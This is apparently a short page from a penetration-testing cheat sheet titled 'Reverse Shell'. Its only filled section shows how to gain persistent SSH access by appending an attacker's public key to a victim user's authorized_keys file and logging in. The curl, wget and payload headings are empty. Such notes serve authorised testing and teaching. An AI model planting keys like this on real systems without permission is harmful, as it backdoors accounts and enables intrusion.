> For the complete documentation index, see [llms.txt](https://lanzt.gitbook.io/cheatsheet-pentest/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://lanzt.gitbook.io/cheatsheet-pentest/generic-ideas/reverse-shell.md).

# Reverse Shell

## SSH

### authorized\_keys file

First, in attacker machine we need to generate the keys:

```bash
ssh-keygen 
```

Two files are generated, `id_rsa` (private key) and `id_rsa.pub` (public key).

Copy the `id_rsa.pub` content and paste it in the victim file:`/home/<user>/.ssh/authorized_keys`

```bash
echo "<ID_RSA.PUB_CONTENT>" >> /home/carlitos/.ssh/authorized_keys
```

And finally, try to enter the victim machine:

```bash
ssh carlitos@10.10.10.10
```

## curl

## wget

## Format payload
